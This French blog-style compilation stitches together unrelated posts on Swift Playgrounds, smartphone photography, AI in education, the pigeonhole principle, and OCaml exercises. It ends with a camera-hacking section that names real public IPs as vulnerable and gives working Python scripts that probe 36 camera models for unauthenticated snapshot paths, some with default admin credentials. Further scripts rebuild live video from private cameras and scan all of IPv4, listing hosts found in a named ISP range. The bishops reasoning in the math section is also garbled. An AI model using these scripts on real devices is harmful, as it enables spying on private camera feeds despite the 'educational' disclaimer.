Un terrain de jeu numérique

Swift Playgrounds, c’est un peu comme un terrain de jeu numérique où l’on apprend à coder sans s’en rendre compte. Loin des manuels austères ou des lignes de code intimidantes, ici tout est coloré, interactif, vivant. On guide un petit personnage à travers des labyrinthes, on résout des énigmes, on fait apparaître des portails ou déclencher des mécanismes… et, sans même s’en apercevoir, on pose les bases de la pensée algorithmique.

Ce n’est pas seulement une application : c’est une invitation à explorer, à se tromper, à recommencer, à comprendre.

Le premier déclic : comprendre la logique

Je me souviens de la première énigme : il fallait faire avancer un personnage sur un damier pour atteindre un joyau. J’ai écrit quelques instructions, lancé le programme… et le personnage est parti dans la mauvaise direction.
Plutôt que de me décourager, j’ai ressenti une envie irrésistible de comprendre : pourquoi ? Où avais-je fait une erreur ?
C’est là que j’ai compris : coder, ce n’est pas juste écrire des instructions, c’est apprendre à raisonner, à anticiper, à décomposer un problème en étapes simples.

L’apprentissage par l’erreur : un atout inestimable

Swift Playgrounds valorise l’essai, l’erreur, la correction. On teste, on observe, on ajuste. Chaque échec est une occasion d’apprendre, chaque réussite une petite victoire personnelle.
Ce processus, si naturel dans le jeu, est au cœur de la pensée logique : analyser, déduire, corriger, recommencer.

La magie du feedback immédiat

Ce qui rend Swift Playgrounds si efficace, c’est le retour immédiat. On voit instantanément le résultat de ses instructions.
Cette boucle courte entre action et réaction est un moteur puissant pour l’apprentissage : on comprend vite ce qui fonctionne et ce qui doit être amélioré.

Plus qu’un langage, une façon de penser

Bien sûr, Swift Playgrounds initie au langage Swift, mais au fond, l’essentiel est ailleurs.
Ce que l’on apprend, c’est à structurer sa pensée, à raisonner de façon logique, à développer des stratégies pour résoudre des problèmes.
On découvre la puissance des boucles, des conditions, des fonctions : autant d’outils qui, bien au-delà du code, servent dans la vie quotidienne.

Un outil pour tous, pas seulement pour les enfants

On pourrait croire que Swift Playgrounds est réservé aux plus jeunes. Il n’en est rien.
J’ai vu des adultes, parfois réticents à l’idée de coder, se prendre au jeu, s’émerveiller de voir leur logique prendre vie à l’écran.
C’est un outil universel, accessible, qui démystifie la programmation et révèle à chacun son potentiel créatif.

L’importance de la curiosité

Ce que j’ai retenu de cette expérience, c’est que la curiosité est la clé. Swift Playgrounds ne donne pas toutes les réponses, il invite à chercher, à expérimenter, à inventer ses propres solutions.
C’est ainsi que l’on développe une véritable pensée logique : en osant explorer, en acceptant de se tromper, en persévérant.

Conclusion : une aventure logique et ludique

Swift Playgrounds, c’est bien plus qu’une application : c’est une aventure, un voyage au cœur de la logique, une école de la persévérance et de la créativité.
Que l’on soit enfant ou adulte, débutant ou curieux, chacun peut y trouver matière à s’étonner, à progresser, à s’amuser.

Et si la prochaine grande idée naissait d’un simple terrain de jeu numérique ? À vous de jouer !

Un rendez-vous inattendu

Je me souviens encore de cette matinée. Paris s’éveillait doucement, les rayons du soleil glissaient sur les vitrines de l’avenue la plus célèbre du monde. En flânant, j’aperçois une affiche : “Atelier Photo – Apple Champs-Élysées”. Intrigué, je pousse la porte. À l’intérieur, une petite foule, des sourires, des téléphones à la main. Pas d’appareils photo hors de prix, juste des gens curieux, comme moi.

L’animateur, un photographe passionné, commence : “La photo parfaite n’exige pas de matériel coûteux. Ce qui compte, c’est l’œil, la technique, et un peu de magie.”
Je tends l’oreille. Je ne le sais pas encore, mais je vais repartir avec une nouvelle façon de regarder le monde.

La technique avant le matériel

Le premier conseil me surprend : activez la grille sur votre téléphone. “Pourquoi ?” demande une participante.
“Parce que la composition, c’est la clé”, répond l’animateur.
Il nous montre comment la grille, discrète mais puissante, aide à structurer l’image, à équilibrer les éléments, à donner du sens à une scène ordinaire.

Je réalise alors que les photographes professionnels n’ont pas un don magique : ils s’appuient sur des règles, des astuces, des habitudes. Avec de la pratique, ils n’ont même plus besoin de la grille : elle s’imprime dans leur esprit, comme une seconde nature.

Ce qui me frappe, c’est la simplicité de l’approche. Pas besoin d’investir dans du matériel onéreux. Mon smartphone, que je croyais limité, devient un véritable outil de création.

La règle des tiers : l’art de raconter autrement

L’atelier se poursuit avec la fameuse règle des tiers. Sur l’écran, une photo s’affiche, traversée par deux lignes horizontales et deux verticales.
“Placez votre sujet sur une de ces lignes, ou mieux, à l’intersection. Vous verrez, la magie opère.”

Je teste. Je cadre un arbre, non plus au centre, mais légèrement décalé. Soudain, la photo prend vie. Le regard circule, l’image respire.
La règle des tiers, c’est un peu comme raconter une histoire : on laisse de la place à l’imagination, on invite le spectateur à explorer.

Et puis il y a les variantes : pour un paysage, deux tiers de terre, un tiers de ciel, ou l’inverse.
Chaque composition devient une invitation au voyage.

La lumière : peindre avec le soleil

Le photographe nous confie un secret : “La lumière, c’est la palette du photographe.”
Il nous parle de l’heure dorée, ce moment magique juste avant le lever ou le coucher du soleil. Les couleurs se réchauffent, les ombres s’allongent, tout devient plus doux, plus poétique.

Je me souviens alors de ces soirs d’été, où la ville s’embrase d’or et de rose. Je comprends pourquoi les plus belles photos de paysages ou de portraits sont souvent prises à ce moment-là.

Mais il y a aussi l’heure bleue, ce court instant après le coucher du soleil ou avant son lever. Le ciel se teinte de bleu profond, la ville s’illumine doucement. L’ambiance devient mystérieuse, presque féérique.
C’est le moment parfait pour les photos urbaines, les scènes nocturnes, les reflets sur l’eau.

L’importance de l’instant et de l’émotion

Ce que j’ai appris ce jour-là, c’est que la photographie ne se limite pas à des règles.
C’est aussi une question d’émotion, de regard, de spontanéité.
Parfois, il faut savoir oublier la technique, se laisser surprendre, capturer un sourire, un geste, une lumière inattendue.

J’ai compris que chaque photo raconte une histoire.
Celle du photographe, bien sûr, mais aussi celle du moment, de l’endroit, des personnes présentes.

Oser, expérimenter, s’amuser

Depuis cette conférence, je n’ai plus jamais regardé mon téléphone de la même manière.
Je me suis mis à photographier tout ce qui m’entoure : une tasse de café, une rue mouillée, un rayon de soleil sur un banc.

J’essaie, je rate, je recommence.
Je joue avec les angles, les cadrages, la lumière.
Je découvre que la créativité naît de l’expérimentation, que les plus belles images sont souvent celles qu’on n’attendait pas.

Conseils pour débuter (et progresser)

• Activez la grille sur votre appareil pour composer facilement vos images.
• Expérimentez la règle des tiers, mais n’ayez pas peur de la transgresser pour créer votre style.
• Profitez de la lumière naturelle, surtout à l’heure dorée et à l’heure bleue.
• Soyez attentif à l’arrière-plan : il peut sublimer ou gâcher votre sujet.
• Photographiez ce qui vous touche : une photo réussie, c’est avant tout une émotion partagée.
• Regardez beaucoup de photos : inspirez-vous des autres, analysez ce qui vous plaît, essayez de comprendre pourquoi.
• Pratiquez, encore et encore : la technique s’apprend, l’œil s’aiguise avec le temps.

Conclusion : la photographie, un art à la portée de tous

Ce que je retiens de cette aventure, c’est que la photographie est un langage universel.
Pas besoin d’être un expert ou d’avoir du matériel hors de prix.
Ce qui compte, c’est la curiosité, l’envie de raconter, le plaisir de capturer l’instant.

Alors, la prochaine fois que vous prendrez une photo, souvenez-vous : vous n’êtes pas juste en train d’appuyer sur un bouton.
Vous écrivez une histoire, vous partagez un regard, vous créez un souvenir.

À vous de jouer. Le monde n’attend que votre vision.

Et vous, quelle sera votre prochaine photo ?

De l’Homme vapeur à l’Homme silicium

Nous avons traversé des âges : celui de la vapeur, du charbon, puis du silicium. Aujourd’hui, à l’aube du graphène, nous portons la connaissance dans nos poches, littéralement. Un smartphone, un ordinateur, et soudain, l’accès à une intelligence qui apprend, corrige, explique, sans relâche et sans jugement.

Une rencontre avec l’IA : le choc du LLM

Je me souviens de la première fois où j’ai utilisé un LLM, il y a deux ans à peine. C’était un peu comme rencontrer un professeur particulier, disponible à toute heure, prêt à répondre à toutes mes questions, à corriger mes erreurs, à reformuler mes idées.
Ce n’était pas de la magie, mais cela y ressemblait.
Avant cela, des IA existaient déjà, mais jamais aussi accessibles, performantes, et surtout, jamais avec une telle fluidité dans l’échange.

Derrière cette prouesse, une infrastructure colossale, digne des plus grands géants du web. On comprend alors pourquoi ces IA sont devenues si populaires : elles sont puissantes, gratuites, et surtout, elles parlent notre langue, sans jargon ni barrière.

Pourquoi l’IA s’impose dans l’éducation

Mais la vraie question n’est pas comment l’IA est devenue utile, mais pourquoi elle s’impose aujourd’hui dans le domaine de l’éducation. Pour y répondre, il faut revenir à l’essence même de l’apprentissage.

Apprendre, c’est se tromper

L’apprentissage, c’est d’abord un cycle : essai, erreur, correction, reproduction. C’est la fameuse méthode ingénieuse.
Mais qui peut corriger un élève à chaque instant ? Un professeur ? Impossible. Même le plus dévoué des enseignants ne peut offrir une correction toutes les dix secondes, comme le fait un simulateur de vol pour un pilote ou un jeu vidéo pour un joueur.

En classe, la correction arrive souvent avec retard, parfois deux semaines après l’exercice. L’élève a déjà oublié, l’erreur s’est installée.
L’IA, elle, corrige instantanément, inlassablement, sans jamais se lasser ni juger.

La correction, clé de l’apprentissage

On croit souvent que la note est le centre de l’école. En réalité, c’est la correction qui fait progresser. La note n’est qu’un indicateur, parfois même un frein.
Car qui aime être jugé ? Qui ose se tromper devant les autres ?
L’IA, elle, ne juge pas. Elle explique, reformule, encourage. Elle devient ce mentor idéal, disponible pour chaque élève, sans fatigue ni impatience.

L’école, entre tradition et innovation

L’école a longtemps été pensée comme l’antichambre de la caserne, selon Jules Ferry. Un lieu de discipline, de transmission, parfois d’uniformisation. Mais n’oublions pas la bottega de Léonard de Vinci, ce lieu d’innovation, de mentorat, où l’on apprenait en faisant, en essayant, en se trompant.

Platon, sous le regard bienveillant de Socrate, n’a jamais reçu de note. Il apprenait par le dialogue, la correction, l’émulation.
Louis XIV avait Aristote, François 1er avait Léonard de Vinci : à ce niveau, pas de note, pas de classement, mais une éducation sur-mesure, fondée sur la confiance et la correction.

La note : outil ou obstacle ?

La note, c’est un peu comme une évaluation sur Internet : utile pour choisir un taxi ou un médecin, mais parfois réductrice pour juger un apprentissage.
Un diplôme, finalement, n’est qu’une note officielle, une garantie de compétence. Mais la note peut décourager.
Celui qui enchaîne les mauvaises notes finit par fuir la correction, par peur de l’échec. Celui qui reçoit de bonnes notes y prend goût, entre dans un cercle vertueux.

Mais l’apprentissage véritable, celui qui dure, ne se nourrit pas de la note, mais de la correction, de l’envie de progresser, de l’absence de jugement.

L’IA, mentor sans jugement

C’est là que l’IA change la donne.
Elle offre à chacun la possibilité d’être corrigé, encore et encore, sans jamais se lasser ni juger.
Elle casse la structure académique, elle met fin à l’Homo academicus pour ouvrir la voie à l’Homo innovator, celui qui ose, qui expérimente, qui apprend pour le plaisir d’apprendre.

L’IA, c’est le mentorat de masse, accessible à tous, sans hiérarchie, sans barrière.
Elle permet d’innover, d’essayer, d’échouer, de recommencer, sans crainte du regard des autres.

La culture, la structure… et l’avenir

Peter Drucker disait : “La culture mange la stratégie au petit déjeuner.”
Mais la structure finit toujours par façonner la culture.
L’IA, en bouleversant la structure académique, ouvre la voie à une nouvelle culture de l’apprentissage : libre, personnalisée, décomplexée.

Nous sommes devenus des “céphalophores”, pour reprendre Michel Serres : nous portons notre tête, notre savoir, dans nos mains, dans nos poches.
Jamais l’accès à la connaissance n’a été aussi simple, aussi immédiat, aussi universel.

Et maintenant ?

L’IA ne remplacera jamais la passion d’un enseignant, la chaleur d’une salle de classe, l’émulation d’un groupe.
Mais elle offre à chacun la possibilité de progresser à son rythme, de se tromper sans crainte, d’apprendre sans jugement.

L’avenir de l’éducation ne sera pas sans l’IA.
Il sera fait de dialogues, d’essais, d’erreurs, de corrections, de mentorat… et peut-être, enfin, d’un apprentissage libéré de la peur de la note.

Nous vivons une époque fascinante. À nous de l’inventer, de la questionner, de l’apprivoiser. Et surtout, de ne jamais cesser d’apprendre.

L’intuition derrière le principe

Imaginez : vous avez n t-shirts à ranger dans m tiroirs. Si le nombre de t-shirts (n) est strictement supérieur au nombre de tiroirs (m), alors il est inévitable qu’au moins un tiroir contienne au moins deux t-shirts.
C’est tout ! Aussi simple que cela puisse paraître, ce raisonnement ouvre la porte à des démonstrations élégantes et parfois surprenantes.

Un outil pour résoudre des problèmes… et des casse-têtes

Le principe des tiroirs n’est pas qu’une curiosité mathématique : il permet de résoudre des problèmes concrets, comme le problème des N-reines ou son cousin, le problème des N-fous.

Imaginons que l’on souhaite placer le plus grand nombre possible de fous sur un échiquier sans qu’aucun ne soit en prise d’un autre. Chaque fou attaque toutes les cases sur ses deux diagonales : il faut donc éviter de placer deux fous sur la même diagonale.

Pour visualiser le principe des tiroirs, on peut colorier les diagonales : chaque couleur représente un tiroir, chaque fou un t-shirt. Si l’on essaie de placer plus de fous que de couleurs différentes, on est certain que deux fous partageront la même couleur… donc la même diagonale, et seront en prise.

Application concrète : le cas des N-fous

Sur un échiquier 8×8, il existe 14 diagonales principales (7 dans chaque direction, sans compter les bords). Le principe des tiroirs nous dit donc qu’il est impossible de placer plus de 14 fous sans qu’au moins deux ne partagent une diagonale.
En d’autres termes, 14 est le maximum de fous que l’on peut placer sans prise sur un échiquier standard.

La représentation par couleurs schématise ce principe : chaque couleur = un tiroir, chaque fou = un t-shirt.

Le principe des tiroirs, un raisonnement universel

Ce principe, aussi intuitif soit-il, est un pilier de la pensée mathématique. On le retrouve dans des démonstrations célèbres, des énigmes, et même dans la vie quotidienne :

• Si 13 personnes sont réunies, au moins deux d’entre elles sont nées le même mois.
• Si vous distribuez 10 pommes dans 9 paniers, au moins un panier contiendra deux pommes.
• Si vous avez plus de 365 personnes dans une pièce, au moins deux partagent le même anniversaire (en négligeant les années bissextiles).

Pour aller plus loin

Le principe des tiroirs est souvent le point de départ de raisonnements par l’absurde : on suppose qu’aucun tiroir n’a plus d’un objet, et on arrive à une contradiction.
C’est un outil précieux, à la fois simple, intuitif et redoutablement efficace.

Astuce : Essayez d’appliquer le principe des tiroirs à d’autres situations de la vie courante ou à des problèmes de logique. Vous serez surpris de sa puissance !

La beauté des mathématiques, c’est que parfois, une idée toute simple peut ouvrir la voie à des solutions élégantes et universelles…

Le défi : placer sans prise

Le principe est simple à énoncer, mais redoutable à résoudre pour de grandes valeurs de N :
Placer N reines sur un échiquier de taille N×N de sorte qu’aucune reine ne puisse en attaquer une autre.

Rappelons-le : une reine attaque toutes les cases de sa ligne, de sa colonne, et de ses deux diagonales. Il faut donc veiller à ce qu’aucune ne partage la même ligne, la même colonne, ou la même diagonale qu’une autre.

Une approche intelligente : le backtracking

Pour relever ce défi, les informaticiens utilisent le backtracking (ou retour arrière), une méthode qui consiste à explorer toutes les possibilités, mais en revenant en arrière dès qu’une configuration mène à une impasse.

En savoir plus sur le backtracking

On place une reine sur la première ligne, puis on essaie d’en placer une sur la deuxième ligne, et ainsi de suite. Si l’on se retrouve bloqué, on revient en arrière pour essayer une autre position.

Astuce : une reine par ligne et par colonne

On remarque vite qu’il suffit de placer une seule reine par ligne et par colonne. On peut donc représenter une solution comme une permutation des colonnes, ce qui réduit considérablement le nombre de cas à tester.

Implémentation en OCaml

Voici une version simple du backtracking pour résoudre le problème des N-reines en OCaml :

let is_safe pos solution =
let rec aux i = function
| [] -> true
| col :: rest ->
if col = pos || abs (col - pos) = i then false
else aux (i + 1) rest
in aux 1 solution

let rec n_queens n solution =
if List.length solution = n then [List.rev solution]
else
let rec try_cols col acc =
if col > n then acc
else
if is_safe col solution then
let new_solutions = n_queens n (col :: solution) in
try_cols (col + 1) (new_solutions @ acc)
else
try_cols (col + 1) acc
in
try_cols 1 []

Signature du programme :

val n_queens : int -> int list -> int list list = <fun>

• n_queens n [] renvoie la liste de toutes les solutions pour un échiquier de taille n×n.
• Chaque solution est une liste d’entiers représentant les colonnes où sont placées les reines pour chaque ligne.

Exemple d’utilisation

n_queens 4 [];;
: int list list = [[2; 4; 1; 3]; [3; 1; 4; 2]]

Ici, chaque liste représente une solution possible pour 4 reines sur un échiquier 4×4.

Visualiser une solution

Pour mieux comprendre, voici une fonction qui affiche joliment une solution :

let print_solution sol =
List.iter (fun col ->
for i = 1 to List.length sol do
if i = col then print_string "Q " else print_string ". "
done;
print_newline ()
) sol;
print_newline ()

Essayez par vous-même !

Vous pouvez tester ce code dans votre compilateur ou interpréteur OCaml (ocamlc, ocamlopt) ou en ligne sur :
https://try.ocamlpro.com/

Astuce : Essayez d’augmenter la taille de l’échiquier. Pour N=8, il existe 92 solutions différentes ! Le backtracking vous montrera toute la puissance de la programmation récursive et de la logique combinatoire.

Le problème des N-reines, c’est la beauté de la simplicité alliée à la profondeur de la logique. À vous de jouer !

Un jeu de hasard… pour approcher π

Imaginez un carré de côté 1. À l’intérieur de ce carré, on trace un quart de cercle de rayon 1, dont l’aire vaut :
\(\text{Aire du quart de cercle} = \frac{\pi}{4}\)

Le principe : on “lance” des points au hasard dans le carré. Certains tombent à l’intérieur du quart de cercle, d’autres à l’extérieur.
En comptant le nombre de points qui “réussissent” (c’est-à-dire qui tombent dans le quart de cercle), on peut approcher la valeur de π.

Pourquoi ça marche ?

La proportion de points à l’intérieur du quart de cercle, rapportée au nombre total de points dans le carré, donne une estimation de l’aire du quart de cercle, donc de π.

Il suffit alors de multiplier ce rapport par 4 pour obtenir une approximation de π :

Implémentation en OCaml

Rien de tel que de passer à la pratique ! Voici un programme OCaml qui applique cette méthode :

let monte_carlo iterations =
	let rec monte_carlo2 reste total =
	match reste with
	| 0 -> let pi = 4. *. float_of_int total /. float_of_int iterations in
		pi
	| _-> let x = Random.float 1. in
		let y = Random.float 1. in
		let in_circle = if x *. x +. y *. y <= 1. then
			1
		else
			0
		in
			monte_carlo2 (reste-1) (total+in_circle)
	in
	monte_carlo2 iterations 0 

Signature du programme :

val monte_carlo : int -> float = <fun>

Expérimentons : la magie (et la limite) du hasard

Essayons la fonction avec différents nombres de points :

# monte_carlo 500
- : float = 3.136

# monte_carlo 5000
- : float = 3.1856

# monte_carlo 50000
- : float = 3.14544

# monte_carlo 500000
- : float = 3.140144

On observe que plus on augmente le nombre de “lancers”, plus l’approximation de π se rapproche de la valeur réelle (3.14159…).
Mais il y a une limite : même avec 10 millions de points, on n’obtient que 3 à 4 décimales correctes. C’est la rançon du hasard : la précision augmente lentement avec le nombre de points.

Pourquoi utiliser Monte-Carlo ?

La méthode de Monte-Carlo est utilisée partout où il est difficile, voire impossible, de calculer une valeur de façon exacte.
Elle est précieuse pour :

• Estimer des intégrales complexes
• Simuler des phénomènes physiques (diffusion, réactions nucléaires…)
• Modéliser des marchés financiers
• Tester des algorithmes d’intelligence artificielle

Son principal atout : la simplicité d’implémentation, même pour des problèmes très complexes.

Essayez par vous-même !

Vous pouvez tester ce code directement dans votre compilateur ou interpréteur OCaml (ocamlc, ocamlopt) ou en ligne sur :
https://try.ocamlpro.com/

Conseil : Essayez de modifier le nombre d’itérations, ou d’imaginer d’autres figures géométriques à “viser” avec des points aléatoires. La méthode de Monte-Carlo n’a de limite que votre imagination !

La beauté de Monte-Carlo, c’est que même le hasard, bien utilisé, peut révéler l’ordre caché du monde…

Un peu d’histoire et de logique

L’année bissextile, c’est un ajustement du calendrier pour coller au plus près de la durée réelle de la révolution de la Terre autour du Soleil.
Mais comment savoir si une année est bissextile ?
La règle :

• Une année est bissextile si elle est divisible par 4 et non divisible par 100,
• ou si elle est divisible par 400.

Autrement dit, 2000 est bissextile, 1900 ne l’est pas, 2024 l’est, 2023 ne l’est pas.

Traduire la règle en code OCaml

Écrire ce test en OCaml, c’est transformer la logique en instructions précises :

let is_bissextile year =
	if year mod 4 = 0 && year mod 100 <> 0 || year mod 400 = 0 then
		true
	else
		false

Signature du programme :

val is_bissextile : int -> bool = <fun>

On aurait pu écrire ce test sur une seule ligne, mais pour la clarté et la pédagogie, il est parfois préférable de détailler la logique.

Exemples d’utilisation

Essayons la fonction sur quelques cas classiques :

is_bissextile 2024;;
: bool = true

is_bissextile 2023;;
: bool = false

is_bissextile 2000;;
: bool = true

is_bissextile 1900;;
: bool = false

Pour aller plus loin : version compacte

Pour les amateurs de concision, on peut écrire directement :

let is_bissextile year =
(year mod 4 = 0 && year mod 100 <> 0) || year mod 400 = 0

Essayez par vous-même !

Vous pouvez tester ce code directement dans votre compilateur ou interpréteur OCaml (ocamlc, ocamlopt) ou en ligne sur :
https://try.ocamlpro.com/

Astuce : Pour créer un calendrier perpétuel ou générer des dates valides, savoir détecter une année bissextile est indispensable. C’est aussi un excellent exercice pour s’entraîner à la logique booléenne !

La beauté de l’algorithmique, c’est de voir comment une règle millénaire peut tenir en quelques lignes de code…

Quand la sécurité passe à la trappe

La plupart de ces caméras sont livrées avec une interface web, protégée par une page de connexion. Mais trop souvent, les utilisateurs oublient de modifier les identifiants par défaut fournis par le constructeur. Résultat : n’importe qui, avec un peu de curiosité, peut accéder à des flux vidéo privés.
Et même lorsque les identifiants sont changés, certains modèles souffrent de failles qui permettent de contourner la sécurité et d’accéder directement au flux vidéo.

Prenons un exemple concret : une caméra Hi3516, accessible sur l’IP 46.8.54.190:81.

Cartographie des vulnérabilités : 36 modèles dans le viseur

Pour mieux comprendre l’étendue du problème, j’ai mené mes propres recherches et dressé un tableau des modèles vulnérables et des chemins d’accès aux flux vidéo.
Voici un extrait du tableau :

Comme vous pouvez le constater, il existe des chemins d’accès directs à la plupart des flux vidéo, souvent sans authentification supplémentaire.

La preuve par l’exemple : analyse d’une caméra vulnérable

Pour mieux illustrer le problème, j’ai réalisé un scan Nmap sur l’IP vulnérable 90.189.182.80 :

On observe que plusieurs ports sont ouverts, ce qui multiplie les points d’entrée potentiels.
Même si la plupart des constructeurs ont mis en place des pages de connexion :

…il s’avère que ces protections sont parfois inefficaces, comme le montre ce test :

Ici, le modèle Fullhan est clairement identifié grâce à l’URI, et la présence d’une interface Herospeed sur un autre port confirme l’origine de la solution.

Automatiser la détection : un script pour révéler les failles

Pour aller plus loin, j’ai développé un script Python qui automatise la détection des vulnérabilités sur une IP donnée.
Ce script teste les chemins connus pour chaque modèle et affiche les flux accessibles.

import requests, time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style

init()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Liste des modèles vulnérables
model = ["Android-IPWebcam", "Axis", "Axis2", "AxisMkII", "BlueIris", "Bosch", "Canon", "ChannelVision", "Dahua", "Defeway", "DLink", "DLink-DCS-932", "Foscam", "FoscamIPCam", "Fullhan", "GK7205", "Hi3516", "Linksys", "Megapixel", "Mobotix", "Motion", "Panasonic", "PanasonicHD", "Sony", "Sony-CS3", "StarDot", "Streamer", "SunellSecurity", "Toshiba", "TPLink", "Vije", "Vivotek", "WebcamXP", "WIFICam", "WYM", "Yawcam"]
# Liste des URIs accessibles
uri_vuln = ["shot.jpg?rnd=654321", "mjpg/video.mjpg", "axis-cgi/mjpg/video.cgi?camera=&resolution=640x480", "jpg/image.jpg?COUNTER", "image/Index?time=0", "snap.jpg?JpegSize=M&JpegCam=1&r=COUNTER", "GetOneShot?image_size=640x480&frame_count=1000000000", "GetData.cgi?CH=1", "cgi-bin/snapshot.cgi", "cgi-bin/snapshot.cgi?chn=0&u=admin&p=&q=0&COUNTER", "video/mjpg.cgi", "mjpeg.cgi", "videostream.cgi?user=admin&pwd=", "cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=&COUNTER", "cgi-bin/snapshot.cgi?COUNTER", "","webcapture.jpg?command=snap&channel=1?COUNTER", "img/video.mjpeg", "jpgmulreq/1/image.jpg?key=1516975535684&lq=1&COUNTER", "cgi-bin/faststream.jpg?stream=half&fps=15&rand=COUNTER", "", "SnapshotJPEG?Resolution=640x480&Quality=Clarity&COUNTER", "cgi-bin/camera?resolution=640&quality=1&Language=0&COUNTER", "oneshotimage1?COUNTER", "image?speed=0", "nph-jpeg.cgi?0", "?action=stream", "onvif/snapshot/1/11", "__live.jpg?&&&COUNTER", "jpg/image.jpg?COUNTER", "asp/video.cgi", "cgi-bin/viewer/video.jpg?r=COUNTER", "cam_1.cgi", "", "", "out.jpg?q=30&id=0.1317044913727916&r=COUNTER"]

# Fonction qui va tester si les URIs sont accessibles
def scan_cam(ip):
	for i in range(len(model)):
		try:
			url = f"http://{ip}/{uri_vuln[i]}"
			if(uri_vuln[i] != ""):
				response = requests.head(url, verify=False, timeout=1)
			if(response.status_code == 200):
				test_cam = requests.get(url)
				if "login" not in str(test_cam.text):
					print(Fore.GREEN + f"Modèle de la caméra: {model[i]} \n - Flux de la caméra: {url}" + Fore.GREEN)
			else:
				print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)
		except:
			print(Fore.RED + f"Modèle de la caméra: {model[i]}" + Fore.RED)

if __name__ == "__main__":
	# Affichage du nombre total de modèles vulnérables
	print(f"Total de modèles vulnérables {len(model)}")
	# Demande pour spécifier l'IP
	ip = input("IP: ")
	# Demande pour spécifier le PORT
	port = input("PORT: ")
	ip += ":" + port
	# Appel de la fonction de scan
	scan_cam(ip)

N’oubliez pas d’installer les dépendances avant d’exécuter le script
pip install requests colorama

De l’image à la vidéo : reconstituer le flux

Souvent, les chemins vulnérables donnent accès à des images fixes, pas à un flux vidéo continu. Mais en téléchargeant ces images à intervalle régulier, il est possible de reconstituer une vidéo.
Voici un script qui enregistre les images chaque seconde et les affiche en temps réel avec OpenCV :

import os, requests, time, cv2
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

save_path = "capture.jpg"

# Fonction qui va afficher le flux vidéo
def read_cam(url):
    print(f"\nChemin du flux vidéo: {os.getcwd()}/{save_path}")
    while True:
        flux_img = cv2.imread(f"{os.getcwd()}/{save_path}", cv2.IMREAD_COLOR)
        print(time.ctime())
        img = requests.get(url)
        f = open(save_path, "wb")
        f.write(img.content)
        f.close()
        cv2.imshow("Affichage Flux", flux_img)
        key = cv2.waitKey(1)
        if key & 0xFF == ord('q'):
            break
    cv2.destroyAllWindows()

if __name__ == "__main__":
	# Demande de spécifier l'url du flux
	url = input("Flux de la caméra: ")
	# Appel de la fonction de lecture d'un flux
	read_cam(url)

Installez les dépendances nécessaires avant d’exécuter le script
pip install requests opencv-python

Limites, évolutions et bonnes pratiques

Il reste encore des modèles non documentés ou mis à jour par les constructeurs, ce qui peut rendre certaines vulnérabilités obsolètes.
Mais cette exploration montre à quel point la sécurité des objets connectés est souvent négligée.

Je souhaite toutefois mentionner que ce projet de cybersécurité a été entrepris à des fins strictement éducatives, dans le but de promouvoir la sensibilisation à la sécurité informatique.

Protégez vos équipements, changez les mots de passe par défaut, mettez à jour vos firmwares… et n’oubliez jamais que la sécurité commence par la vigilance !

L’immensité d’IPv4 : des chiffres qui donnent le vertige

Avant de me lancer, il fallait mesurer l’ampleur de la tâche. L’espace IPv4, ce sont des adresses sous forme de quatre octets, chacun variant de 0 à 255.
Un rapide calcul :
\(256^4 = 4\,294\,967\,296\)
Soit plus de 4 milliards d’adresses à tester.
C’est vertigineux, mais finalement bien peu comparé à l’infini d’IPv6.

Concevoir un scanner efficace : le choix du multithreading

Face à cette immensité, il fallait une approche rapide et efficace.
J’ai alors décidé d’écrire un script Python, utilisant le multithreading pour paralléliser les tâches et accélérer le scan.
L’idée : distribuer les adresses à tester entre plusieurs threads, chacun travaillant en simultané.

import requests, threading, queue, time
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from colorama import init, Fore, Style

init()

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Fonction qui va scanner les adresses IP
def ip_scan(q):
    while not q.empty():
        ip = q.get()
        url = f"http://{ip}"
        try:
            response = requests.head(url, verify=False, timeout=1)
            print(Fore.GREEN + f"{response} - {url}" + Fore.GREEN)
            file = open("ip-list.txt", "a")
            file.write(url + "\n") 
            file.close()
        except:
            print(Fore.RED + f"<Response [404]> - {url}" + Fore.RED)

# Création de la file d'attente pour stocker les adresses IP à scanner
q = queue.Queue()

# Ajout des adresses IP à la file d'attente
for i in range(256):
    for j in range(256):
        for k in range(256):
            for l in range(256):
                ip = f"{i}.{j}.{k}.{l}"
                print(Fore.YELLOW  + f"File d'attente : {ip}")
                q.put(ip)

# Création des threads pour exécuter la fonction ip_scan
threads = []
for i in range(10):
    t = threading.Thread(target=ip_scan, args=(q,))
    t.daemon = True
    threads.append(t)

# Démarrage des threads
for t in threads:
    t.start()

# Attente de la fin de l'exécution des threads
while not q.empty():
    time.sleep(1)

# Fin du programme
print("Tous les threads ont terminé.")

Astuce : Installez les dépendances nécessaires avant d’exécuter le script
pip install requests colorama

Objectif : détecter les serveurs web

Pour ce projet, je me suis limité à la détection des serveurs web accessibles sur le port 80 (HTTP).
L’idée : construire une liste d’adresses IP valides, c’est-à-dire celles qui répondent à une requête HTTP.

Première étape : un test sur une plage restreinte

Avant de lancer le scan global, il fallait tester le concept sur une plage d’adresses plus réduite.
J’ai choisi une plage appartenant à Telecom Italia S.p.A. : 213.82.0.0 à 213.82.255.255.

# Adresses IP avec la range spécifique pour le test
for i in range(256):
    for j in range(256):
        ip = f"213.82.{i}.{j}"
        print(Fore.YELLOW  + f"File d'attente : {ip}")
        q.put(ip)

Après près de deux heures d’exécution, le script m’a renvoyé une liste de 659 IPs hébergeant un serveur web, sur environ 65 000 testées.
Voici un extrait du résultat :

http://213.82.0.75
http://213.82.0.78
http://213.82.0.76
http://213.82.0.77
http://213.82.0.74
http://213.82.0.165
http://213.82.0.173
http://213.82.0.174
http://213.82.1.228
http://213.82.2.227
http://213.82.3.10
http://213.82.3.11
http://213.82.3.69
http://213.82.3.114
http://213.82.3.222
http://213.82.6.3
http://213.82.6.13
http://213.82.6.85
http://213.82.6.86
http://213.82.6.194
http://213.82.7.110
http://213.82.9.146
http://213.82.9.147
http://213.82.9.148
http://213.82.9.157
http://213.82.9.158
http://213.82.10.9
http://213.82.10.116
http://213.82.10.131
http://213.82.10.135
http://213.82.10.133
http://213.82.10.137
http://213.82.10.140
http://213.82.10.142
http://213.82.12.10
http://213.82.12.11
http://213.82.12.12
http://213.82.12.14
http://213.82.12.99
